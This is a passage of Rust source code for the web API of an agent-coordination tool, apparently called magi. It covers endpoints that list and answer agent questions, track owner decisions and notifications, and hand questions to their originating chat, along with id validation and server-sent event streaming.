8149                    if tx.send(event).await.is_err() {
8150                        break;
8151                    }
8152                }
8153                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
8154                    let revs = {
8155                        let guard = match state.monitor.latest.lock() {
8156                            Ok(g) => g,
8157                            Err(p) => p.into_inner(),
8158                        };
8159                        guard.as_ref().map(|(r, _)| *r)
8160                    };
8161                    if let Some(revs) = revs {
8162                        let payload = serde_json::json!({
8163                            "queue_rev": revs.0,
8164                            "runs_rev": revs.1,
8165                            "questions_rev": revs.2,
8166                            "talks_rev": revs.3,
8167                            "notifications_rev": revs.4,
8168                            "loop_rev": revs.5,
8169                        });
8170                        if let Ok(event) = Event::default().event("change").json_data(payload) {
8171                            if tx.send(event).await.is_err() {
8172                                break;
8173                            }
8174                        }
8175                    }
8176                }
8177                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
8178                    break;
8179                }
8180            }
8181        }
8182    });
8183
8184    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
8185        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
8186}
8187
8188/// Run ids under `runs`, newest first.
8189///
8190/// Rooted at an explicit directory rather than calling [`run::list_ids`],
8191/// which reads the process-global home: the server has to be drivable against
8192/// a temp directory for any of this to be testable.
8193fn run_ids(runs: &FsPath) -> Vec<String> {
8194    let mut ids: Vec<String> = std::fs::read_dir(runs)
8195        .into_iter()
8196        .flatten()
8197        .flatten()
8198        .filter(|e| e.path().join("run.json").is_file())
8199        .map(|e| e.file_name().to_string_lossy().into_owned())
8200        .collect();
8201    // Ids start with a sortable timestamp.
8202    ids.sort_unstable_by(|a, b| b.cmp(a));
8203    ids
8204}
8205
8206/// Read one run's state from an explicit runs root.
8207fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
8208    let path = runs.join(id).join("run.json");
8209    let body =
8210        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
8211    let state: RunState =
8212        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
8213    // The same migration `RunState::load` applies, so a record from the
8214    // previous schema reads here as it does everywhere else (an origin-less
8215    // run shows as "origin unknown") instead of vanishing from the phone the
8216    // moment the schema is bumped.
8217    run::migrate_schema(state)
8218}
8219
8220/// Runs on disk under `runs` whose state this build cannot parse - almost
8221/// always a schema bump, occasionally a run killed mid-write.
8222///
8223/// Exposed so every surface that reports on runs shares one count instead of
8224/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
8225/// `magi doctor` calls this directly rather than guessing at the same number
8226/// a second way.
8227#[must_use]
8228pub fn runs_unreadable(runs: &FsPath) -> usize {
8229    run_ids(runs)
8230        .into_iter()
8231        .filter(|id| read_run(runs, id).is_err())
8232        .count()
8233}
8234
8235fn plain_record_id(id: &str) -> bool {
8236    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
8237}
8238
8239/// Expand an id or short id to exactly one run id.
8240fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
8241    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
8242        return Ok(id.to_owned());
8243    }
8244    pick(run_ids(runs), id, "run")
8245}
8246
8247/// Expand an id or short id to exactly one task id.
8248fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
8249    if plain_record_id(id) && queue.path_of(id).is_file() {
8250        return Ok(id.to_owned());
8251    }
8252    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
8253    pick(ids, id, "task")
8254}
8255
8256/// A question as the phone reads it.
8257///
8258/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
8259/// text already parsed into a node tree so the client never runs its own
8260/// markdown reader over agent-authored prose. A relative image path in it
8261/// resolves against this question's own panel asset route, which is the one
8262/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
8263/// separate, sandboxed document, but `detail` is rendered inline in the
8264/// operator's own page, so an image reference in it may only ever point at
8265/// files magi itself already serves for this question.
8266#[derive(Debug, Serialize)]
8267struct QuestionView {
8268    can_answer: bool,
8269    /// Imported consent remains history even while its effect is uncertain.
8270    history_only: bool,
8271    choice_effects: std::collections::BTreeMap<String, String>,
8272    record_revision: String,
8273    #[serde(flatten)]
8274    question: Question,
8275    detail_md: Vec<md::Node>,
8276    posting_view: Option<PostingView>,
8277    /// Each thread turn's body, parsed; same order as `question.thread`.
8278    thread_bodies_md: Vec<Vec<md::Node>>,
8279    /// Each thread turn's deputy note, parsed (`None` for a turn without
8280    /// one); same order as `question.thread`.
8281    thread_notes_md: Vec<Option<Vec<md::Node>>>,
8282    /// Is the ball in the agent's court right now?
8283    ///
8284    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
8285    /// [`Question::say`] - so this is the one field that tells the phone to
8286    /// disable the answer controls and show "waiting for the agent" instead of
8287    /// a card the owner can act on. Computed rather than stored on
8288    /// [`Question`] itself, on the same reasoning as `waiting` on
8289    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
8290    /// it here means the client never has to re-derive that rule.
8291    waiting_on_agent: bool,
8292    /// Who is waiting on this open question - see [`holder_of`]. Separate
8293    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
8294    /// anyone is there to take it.
8295    holder: Option<&'static str>,
8296    /// Whether `magi serve` can start a follow-up agent for a conductor
8297    /// question at all: false when `daemon.max_deputies = 0` or the config is
8298    /// unreadable. Separate from `holder`, which says who is listening now.
8299    deputies_enabled: bool,
8300    /// All starts were spent and no live holder remains. Display-only: the
8301    /// final attempt increments `starts` before running under its lease.
8302    deputy_exhausted: bool,
8303    text_delivery: crate::question_delivery::Availability,
8304    /// `question.run` is a task id (conductor / triage questions), not a run
8305    /// id, so the UI links it to the task page.
8306    run_is_task: bool,
8307    /// The existing chat this question's task came from, including settled
8308    /// questions - see [`crate::consult::associated_talk`].
8309    origin_chat: Option<String>,
8310    /// `origin_chat` is closed; consulting reopens it first.
8311    origin_chat_closed: bool,
8312    /// Consultation eligibility is separate from navigation to the chat.
8313    can_consult_chat: bool,
8314}
8315
8316#[derive(Debug, Serialize)]
8317struct PostingView {
8318    before_md: Vec<md::Node>,
8319    after_md: Vec<md::Node>,
8320    fields: Vec<crate::github_text::ComparisonView>,
8321}
8322
8323fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
8324    let comparison = question.posting_comparison.as_ref()?;
8325    if !comparison.matches_detail(&question.detail) {
8326        return None;
8327    }
8328    let mut ids = std::collections::BTreeSet::new();
8329    if comparison.fields.is_empty()
8330        || comparison
8331            .fields
8332            .iter()
8333            .flat_map(|f| &f.pairs)
8334            .any(|p| !ids.insert(p.id))
8335        || comparison
8336            .fields
8337            .iter()
8338            .flat_map(|f| &f.original_triggers)
8339            .any(|t| !ids.insert(t.id))
8340    {
8341        return None;
8342    }
8343    let fields = comparison
8344        .fields
8345        .iter()
8346        .map(|f| f.view(comparison.excerpt))
8347        .collect::<Option<Vec<_>>>()?;
8348    Some(PostingView {
8349        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
8350        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
8351        fields,
8352    })
8353}
8354
8355impl QuestionView {
8356    /// The view of `question`, reading who is waiting on it from `store`.
8357    ///
8358    /// `holder` needs the lease sidecar, which is why this is not a `From`.
8359    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
8360        let base = md::ImageBase::QuestionPanel {
8361            id: question.id.clone(),
8362        };
8363        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8364        Self {
8365            can_answer: question.can_answer(),
8366            history_only: store.held_reply(&question.id),
8367            choice_effects: question
8368                .choices
8369                .iter()
8370                .filter_map(|c| {
8371                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8372                })
8373                .collect(),
8374            record_revision: question_record_revision(&question),
8375            detail_md: md::to_nodes(&question.detail, &base),
8376            posting_view: posting_view(&question, &base),
8377            thread_bodies_md: question
8378                .thread
8379                .iter()
8380                .map(|t| md::to_nodes(&t.body, &base))
8381                .collect(),
8382            thread_notes_md: question
8383                .thread
8384                .iter()
8385                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8386                .collect(),
8387            deputy_exhausted: store.deputy_exhausted(&question),
8388            waiting_on_agent: question.waiting_on_agent(),
8389            holder,
8390            deputies_enabled: deputies_enabled(cfg, &question),
8391            text_delivery: crate::question_delivery::availability(store, &question, cfg),
8392            run_is_task: question.run_names_task(),
8393            origin_chat: None,
8394            origin_chat_closed: false,
8395            can_consult_chat: false,
8396            question,
8397        }
8398    }
8399
8400    /// Fill `origin_chat` from the queue and the talks.
8401    fn with_origin(
8402        mut self,
8403        tasks: &[crate::queue::Task],
8404        talks: &[Talk],
8405        watches: &[crate::release_watch::WatchState],
8406    ) -> Self {
8407        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8408        self.can_consult_chat = consult.is_some();
8409        let talk =
8410            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8411        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8412        self.origin_chat = talk.map(|t| t.id);
8413        self
8414    }
8415}
8416
8417/// The config this repository resolves, or `None` when it cannot be read.
8418/// Discovering is git processes plus a config render, so a request that needs
8419/// it for many items takes it once and passes it down.
8420fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8421    Config::discover(repo, None).ok().map(|(c, _)| c)
8422}
8423
8424/// Can `magi serve` start a deputy for this question under `cfg`?
8425fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8426    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8427}
8428
8429/// The views `GET /api/questions` answers. `load` runs at most once, however
8430/// many questions there are, and not at all when there are none.
8431fn question_views(
8432    qs: Vec<Question>,
8433    store: &ask::Questions,
8434    load: impl FnOnce() -> Option<Config>,
8435) -> Vec<QuestionView> {
8436    if qs.is_empty() {
8437        return Vec::new();
8438    }
8439    let cfg = load();
8440    qs.into_iter()
8441        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8442        .collect()
8443}
8444
8445/// Who is honestly waiting on an open question right now: `"asker"` (the
8446/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8447/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8448/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8449/// up, or the question never had anyone listening (a conductor question or a
8450/// merge approval from before deputies, or not yet given one).
8451///
8452/// `None` for a question that is settled, and for one that is not an agent's
8453/// to wait on at all (a release notice).
8454fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8455    if !q.status.open() {
8456        return None;
8457    }
8458    if q.cwd.is_none()
8459        && q.deputy.is_none()
8460        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8461    {
8462        return crate::deputy::kind_of(q).map(|_| "nobody");
8463    }
8464    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8465        Some(_) if q.deputy.is_some() => "deputy",
8466        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8467        Some(_) => "asker",
8468        None => "nobody",
8469    })
8470}
8471
8472/// `GET /api/questions`.
8473///
8474/// Everything, not just the open ones: an answered question is the record of a
8475/// decision, and the phone is where the operator goes back to check what they
8476/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8477#[derive(serde::Serialize)]
8478struct DecisionView {
8479    id: String,
8480    task: String,
8481    run: Option<String>,
8482    chat: Option<String>,
8483    display: String,
8484    delivery_error: Option<String>,
8485    decision: crate::task_decision::Decision,
8486    attention: crate::task_decision::Attention,
8487    next_step: &'static str,
8488    last_observation: Option<String>,
8489}
8490
8491impl DecisionView {
8492    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8493        let attention = inquiry.attention()?;
8494        let last_observation = inquiry
8495            .decision
8496            .as_ref()?
8497            .last_observation
8498            .as_ref()
8499            .map(|o| o.describe());
8500        Some(Self {
8501            id: inquiry.id,
8502            task: inquiry.task,
8503            run: inquiry.run,
8504            chat: inquiry.delivered_to,
8505            display: inquiry.display,
8506            delivery_error: inquiry.delivery_error,
8507            decision: inquiry.decision?,
8508            attention,
8509            next_step: match attention {
8510                crate::task_decision::Attention::OwnerChoice => {
8511                    "Discuss the choice in the owning chat."
8512                }
8513                crate::task_decision::Attention::ReceiptCheck => {
8514                    "Check durable receipts before retrying; do not replay the request."
8515                }
8516                crate::task_decision::Attention::InFlight => {
8517                    "Wait for the effect or execution-start receipt."
8518                }
8519                crate::task_decision::Attention::ReleaseFollowup => {
8520                    "Inspect the remaining release work independently of the original merge."
8521                }
8522                crate::task_decision::Attention::StaleTarget => {
8523                    "Inspect the changed or closed target; do not approve an old head."
8524                }
8525                crate::task_decision::Attention::Resolved => {
8526                    "Inspect the recorded closure reason in history."
8527                }
8528            },
8529            last_observation,
8530        })
8531    }
8532}
8533
8534#[derive(serde::Serialize)]
8535struct DecisionsView {
8536    items: Vec<DecisionView>,
8537    unreadable: usize,
8538    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8539}
8540
8541// Read-only: list visits and inquiry links never create owner decisions,
8542// delivery receipts or effect acknowledgements.
8543async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8544    blocking(move || {
8545        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8546        let mut views: Vec<_> = items
8547            .into_iter()
8548            .filter_map(DecisionView::from_inquiry)
8549            .collect();
8550        views.sort_by_key(|view| {
8551            (
8552                view.decision.status == crate::task_decision::Status::Resolved,
8553                view.id.clone(),
8554            )
8555        });
8556        Ok(Json(DecisionsView {
8557            items: views,
8558            unreadable,
8559            migration_errors: crate::task_chat::migration_issues(&ui.home),
8560        }))
8561    })
8562    .await
8563}
8564
8565async fn decision_get(
8566    State(ui): State<Arc<Ui>>,
8567    Path(id): Path<String>,
8568) -> ApiResult<Json<DecisionView>> {
8569    blocking(move || {
8570        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8571        DecisionView::from_inquiry(inquiry)
8572            .map(Json)
8573            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8574    })
8575    .await
8576}
8577
8578async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8579    blocking(move || {
8580        let questions = ui.questions.list();
8581        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8582        Ok(Json(
8583            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8584                .into_iter()
8585                .map(|view| view.with_origin(&tasks, &talks, &watches))
8586                .collect(),
8587        ))
8588    })
8589    .await
8590}
8591
8592/// Question content and answer controls never wait for task/chat provenance.
8593async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8594    blocking(move || {
8595        Ok(Json(question_views(
8596            ui.questions.list(),
8597            &ui.questions,
8598            || deputy_config(&ui.repo),
8599        )))
8600    })
8601    .await
8602}
8603
8604fn question_record_revision(question: &Question) -> String {
8605    use std::hash::{Hash as _, Hasher as _};
8606    let mut hash = std::hash::DefaultHasher::new();
8607    serde_json::to_vec(question)
8608        .expect("serializable question")
8609        .hash(&mut hash);
8610    format!("{:016x}", hash.finish())
8611}
8612
8613#[derive(Serialize)]
8614struct QuestionOriginView {
8615    id: String,
8616    record_revision: String,
8617    origin_chat: Option<String>,
8618    origin_chat_closed: bool,
8619    can_consult_chat: bool,
8620}
8621
8622async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8623    blocking(move || {
8624        let questions = ui.questions.list();
8625        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8626        Ok(Json(
8627            questions
8628                .into_iter()
8629                .map(|question| {
8630                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8631                    let can_consult_chat = consult.is_some();
8632                    let talk = crate::consult::associated_talk_with_watches(
8633                        &tasks, &talks, &question, &watches,
8634                    );
8635                    QuestionOriginView {
8636                        record_revision: question_record_revision(&question),
8637                        id: question.id,
8638                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8639                        origin_chat: talk.map(|talk| talk.id),
8640                        can_consult_chat,
8641                    }
8642                })
8643                .collect(),
8644        ))
8645    })
8646    .await
8647}
8648
8649type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8650
8651/// Only the task ancestry and chats these questions actually reference. Run
8652/// mappings share the reconciled queue index; exact task references bypass it.
8653/// No question means no task/chat I/O, including no index reconciliation.
8654fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8655    fn task_for_run(
8656        ui: &Ui,
8657        index: &mut Option<Vec<Arc<TaskRelation>>>,
8658        run: &str,
8659        loaded: &HashMap<String, Task>,
8660    ) -> ApiResult<Option<Task>> {
8661        if !plain_record_id(run) {
8662            return Ok(None);
8663        }
8664        if index.is_none() {
8665            *index = Some(ui.indexed_tasks()?);
8666        }
8667        Ok(index
8668            .as_ref()
8669            .expect("loaded index")
8670            .iter()
8671            .find(|task| task.runs.iter().any(|id| id == run))
8672            .and_then(|task| {
8673                loaded
8674                    .get(&task.id)
8675                    .cloned()
8676                    .or_else(|| ui.queue.get(&task.id).ok())
8677            })
8678            .filter(|task| task.runs.iter().any(|id| id == run)))
8679    }
8680    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8681        plain_record_id(id)
8682            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8683            .flatten()
8684            .filter(|task| task.id == id)
8685    };
8686    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8687    let mut index = None;
8688    let mut tasks = HashMap::new();
8689    let mut talks = HashMap::new();
8690    for question in questions {
8691        for reference in crate::consult::question_task_refs(question, &watches) {
8692            let mut current = match reference {
8693                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8694                crate::consult::QuestionTaskRef::Run(id) => {
8695                    task_for_run(ui, &mut index, id, &tasks)?
8696                }
8697            };
8698            let mut seen = HashSet::new();
8699            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8700                let Some(task) = current.take() else {
8701                    break;
8702                };
8703                if !seen.insert(task.id.clone()) {
8704                    break;
8705                }
8706                let chat = task.chat_talk().map(str::to_owned);
8707                let followup = task.followup.clone();
8708                tasks.insert(task.id.clone(), task);
8709                if let Some(chat) = chat {
8710                    if plain_record_id(&chat)
8711                        && !talks.contains_key(&chat)
8712                        && let Ok(talk) = ui.talks.get(&chat)
8713                    {
8714                        talks.insert(chat, talk);
8715                    }
8716                    break;
8717                }
8718                let Some(followup) = followup else {
8719                    break;
8720                };
8721                current = match followup.origin_task {
8722                    Some(id) => direct_task(&id, &tasks),
8723                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8724                };
8725            }
8726        }
8727    }
8728    let mut tasks: Vec<Task> = tasks.into_values().collect();
8729    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8730    Ok((tasks, talks.into_values().collect(), watches))
8731}
8732
8733/// `GET /api/notifications`: not dismissed, newest first, with the unread
8734/// count so the badge and the list cannot disagree.
8735async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8736    blocking(move || {
8737        let items = ui.notices.list();
8738        let unread = items.iter().filter(|n| n.unread()).count();
8739        let items: Vec<_> = items
8740            .into_iter()
8741            .map(|n| {
8742                let question = crate::notices::answerable_question(&n, &ui.questions);
8743                let mut item = serde_json::to_value(n)?;
8744                item["answerable_question"] = serde_json::json!(question);
8745                Ok(item)
8746            })
8747            .collect::<anyhow::Result<_>>()?;
8748        Ok(Json(
8749            serde_json::json!({ "unread": unread, "items": items }),
8750        ))
8751    })
8752    .await
8753}
8754
8755fn notice_error(e: anyhow::Error) -> ApiError {
8756    // An unknown or malformed id and a vanished file are the same answer to
8757    // the phone: that notification is gone.
8758    ApiError::not_found(format!("{e:#}"))
8759}
8760
8761/// `POST /api/notifications/{id}/read`.
8762async fn notification_read(
8763    State(ui): State<Arc<Ui>>,
8764    Path(id): Path<String>,
8765) -> ApiResult<Json<Notice>> {
8766    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8767}
8768
8769/// `POST /api/notifications/{id}/dismiss`.
8770async fn notification_dismiss(
8771    State(ui): State<Arc<Ui>>,
8772    Path(id): Path<String>,
8773) -> ApiResult<Json<Notice>> {
8774    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8775}
8776
8777/// `POST /api/notifications/read-all`.
8778async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8779    blocking(move || {
8780        let changed = ui.notices.mark_all_read()?;
8781        Ok(Json(serde_json::json!({ "marked": changed })))
8782    })
8783    .await
8784}
8785
8786/// The body of `POST /api/questions/{id}/answer`.
8787///
8788/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8789/// a bad request rather than a guess: an answer magi invented is worse than a
8790/// question left open.
8791#[derive(Debug, Default, Deserialize)]
8792#[serde(default, deny_unknown_fields)]
8793struct NewAnswer {
8794    choice: Option<String>,
8795    text: Option<String>,
8796    talk: Option<String>,
8797    head: Option<String>,
8798}
8799
8800async fn question_answer(
8801    State(ui): State<Arc<Ui>>,
8802    Path(id): Path<String>,
8803    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8804) -> ApiResult<Json<QuestionView>> {
8805    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8806    let answer = match (body.choice, body.text) {
8807        (Some(c), None) => Answer::Choice(c),
8808        (None, Some(t)) => Answer::Text(t),
8809        (Some(_), Some(_)) => {
8810            return Err(ApiError::bad_request(
8811                "send either `choice` or `text`, not both",
8812            ));
8813        }
8814        (None, None) => {
8815            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8816        }
8817    };
8818
8819    blocking(move || {
8820        let id = resolve_question(&ui.questions, &id)?;
8821        let q = ui
8822            .questions
8823            .get(&id)
8824            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8825        if !q.can_answer() {
8826            // Answered from the terminal, or by another phone, in between the
8827            // list and the tap. The UI shows the recorded answer rather than an
8828            // error, so it needs the record, not just the status.
8829            return Err(ApiError::conflict(format!(
8830                "question {} is already {}",
8831                q.short(),
8832                q.status.as_str()
8833            )));
8834        }
8835        // `Question::answer` owns the rules - an unoffered choice, free text on
8836        // a multiple-choice question, an empty reply - so the route does not
8837        // restate them and cannot drift from the CLI's behaviour.
8838        let cfg = deputy_config(&ui.repo);
8839        let (q, ()) = ui
8840            .questions
8841            .update(&q.id, |r| {
8842                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8843                // Buttons retain their displayed chat/head binding. A direct
8844                // decision does not require a button or a prior persona offer.
8845                if r.routed_task.is_some()
8846                    && r.merge_target.is_some()
8847                    && merge
8848                    && (body.talk.is_some() || body.head.is_some())
8849                {
8850                    let talk_id = body
8851                        .talk
8852                        .as_deref()
8853                        .context("approval button requires its chat")?;
8854                    let head = body
8855                        .head
8856                        .as_deref()
8857                        .context("approval button requires the displayed head")?;
8858                    let talk = ui.talks.get(talk_id)?;
8859                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8860                    r.answer_chat_button(answer, talk_id, head)
8861                } else {
8862                    r.answer(answer)
8863                }
8864            })
8865            .map_err(ApiError::bad_request_from)?;
8866        let (tasks, talks, watches) =
8867            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8868        Ok(Json(
8869            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8870        ))
8871    })
8872    .await
8873}
8874
8875/// A dedicated status avoids the client's settled-question 409 handling.
8876fn question_text_error(e: anyhow::Error) -> ApiError {
8877    let reason = e
8878        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8879        .map(|e| e.reason);
8880    let error = ApiError::bad_request_from(e);
8881    if let Some(reason) = reason {
8882        ApiError {
8883            text_reason: Some(reason),
8884            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8885        }
8886    } else {
8887        error
8888    }
8889}
8890
8891/// The body of `POST /api/questions/{id}/say`.
8892#[derive(Debug, Deserialize)]
8893#[serde(deny_unknown_fields)]
8894struct NewSay {
8895    body: String,
8896}
8897
8898/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8899///
8900/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8901/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8902/// file, so there is no turn to serialize against and no
8903/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8904/// is a *different* process - the run parked behind `magi ask` - and picks
8905/// the reply up on its own poll of the very same file, same as an answer
8906/// does.
8907async fn question_say(
8908    State(ui): State<Arc<Ui>>,
8909    Path(id): Path<String>,
8910    body: std::result::Result<Json<NewSay>, JsonRejection>,
8911) -> ApiResult<Json<QuestionView>> {
8912    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8913    blocking(move || {
8914        let id = resolve_question(&ui.questions, &id)?;
8915        let q = ui
8916            .questions
8917            .get(&id)
8918            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8919        if !q.status.open() {
8920            // Same granularity as `question_answer`: answered or abandoned in
8921            // between the list and the tap is not this route's error to
8922            // explain any differently.
8923            return Err(ApiError::conflict(format!(
8924                "question {} is already {}",
8925                q.short(),
8926                q.status.as_str()
8927            )));
8928        }
8929        // `Question::say` owns the one rule that matters here - an empty
8930        // message tells the agent nothing - so the route does not restate it.
8931        let cfg = deputy_config(&ui.repo);
8932        let (q, ()) = ui
8933            .questions
8934            .update(&q.id, |r| {
8935                if body.body.trim().is_empty() {
8936                    return r.say(body.body);
8937                }
8938                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8939                r.say(body.body)
8940            })
8941            .map_err(question_text_error)?;
8942        let (tasks, talks, watches) =
8943            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8944        Ok(Json(
8945            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8946        ))
8947    })
8948    .await
8949}
8950
8951/// A disconnected request or a replacing listener cannot interrupt the short
8952/// transaction between persistence and detached worker publication.
8953async fn admitted<T: Send + 'static>(
8954    admission: AdmissionGuard,
8955    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8956) -> ApiResult<T> {
8957    tokio::spawn(async move {
8958        let result = work.await;
8959        drop(admission);
8960        result
8961    })
8962    .await
8963    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8964}
8965
8966/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8967/// came from. The question stays open: the chat agent answers it with `magi
8968/// answer`, or puts the decision to the owner in the conversation.
8969///
8970/// Answers 202 and runs the turn in the background, like every route that
8971/// spends agent calls. The text is queued as a draft of the existing talk, and
8972/// the turn goes through the talk's own gate and session; no seat or waiter is
8973/// started here.
8974async fn question_consult(
8975    State(ui): State<Arc<Ui>>,
8976    Path(id): Path<String>,
8977) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8978    let admission = ui.begin_admission()?;
8979    admitted(admission, async move {
8980        let (q, tasks, talks, watches, talk, cfg) = blocking({
8981            let ui = Arc::clone(&ui);
8982            move || {
8983                let id = resolve_question(&ui.questions, &id)?;
8984                let q = ui.questions.get(&id).map_err(|e| {
8985                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8986                })?;
8987                if !q.status.open() {
8988                    return Err(ApiError::conflict(format!(
8989                        "question {} is already {}",
8990                        q.short(),
8991                        q.status.as_str()
8992                    )));
8993                }
8994                let (tasks, talks, watches) =
8995                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8996                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8997                    return Err(ApiError::conflict(format!(
8998                        "question {} has no chat to ask",
8999                        q.short()
9000                    )));
9001                };
9002                // Read the config before `begin` saves anything: a failure here
9003                // must leave no consult record or draft behind, or a retry would
9004                // see `fresh == false` and never start the turn.
9005                let cfg = if q.consult.is_none() {
9006                    Some(talk.config()?)
9007                } else {
9008                    None
9009                };
9010                Ok((q, tasks, talks, watches, talk, cfg))
9011            }
9012        })
9013        .await?;
9014        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
9015            .await
9016            .map_err(ApiError::from)?;
9017        let (view, reclaimed, submitted) = blocking({
9018            let ui = Arc::clone(&ui);
9019            move || {
9020                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
9021                let claim = if fresh {
9022                    match ui.begin_queued_talk_turn(&talk.id)? {
9023                        Some(turn_guard) => {
9024                            let talk = ui.talks.get(&talk.id)?;
9025                            let cfg = match cfg {
9026                                Some(cfg) => cfg,
9027                                None => talk.config()?,
9028                            };
9029                            Some((talk, cfg, turn_guard))
9030                        }
9031                        None => None,
9032                    }
9033                } else {
9034                    None
9035                };
9036                let q = ui.questions.get(&q.id)?;
9037                let cfg = deputy_config(&ui.repo);
9038                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
9039                    .with_origin(&tasks, &talks, &watches);
9040                Ok((view, claim, fresh.then_some(talk.id)))
9041            }
9042        })
9043        .await?;
9044        #[cfg(not(test))]
9045        {
9046            if let Some(id) = submitted {
9047                crate::chat_worker::spawn_turn(&ui.talks, &id)
9048                    .await
9049                    .map_err(ApiError::from)?;
9050            }
9051            drop(reclaimed);
9052        }
9053        #[cfg(test)]
9054        let _ = submitted;
